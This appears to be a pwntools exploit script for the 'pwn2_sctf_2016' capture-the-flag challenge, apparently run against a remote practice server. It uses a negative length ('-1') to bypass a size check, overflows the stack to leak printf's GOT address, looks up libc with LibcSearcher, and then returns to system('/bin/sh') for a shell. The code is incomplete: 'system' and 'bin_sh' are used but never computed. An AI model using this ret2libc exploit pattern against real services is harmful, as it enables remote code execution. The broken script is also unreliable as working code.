from pwn import * from LibcSearcher import * #r = process('./pwn2_sctf_2016') r=remote('node5.buuoj.cn',29975) elf=ELF('./pwn2_sctf_2016') offset = (0x2c+4) printf_plt=elf.plt['printf'] printf_got=elf.got['printf'] main=elf.sym['main']
r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') r.recvuntil('\n') payload=b'a'*offset+p32(printf_plt)+p32(main)+p32(printf_got) r.sendline(payload) r.recvuntil('\n') printf_addr=u32(r.recv(4)) print(hex(printf_addr)) libc=LibcSearcher('printf',printf_addr)
r.recvuntil('How many bytes do you want me to read? ') r.sendline('-1') r.recvuntil('\n') payload=b'a'*offset+p32(system)+p32(main)+p32(bin_sh) r.sendline(payload)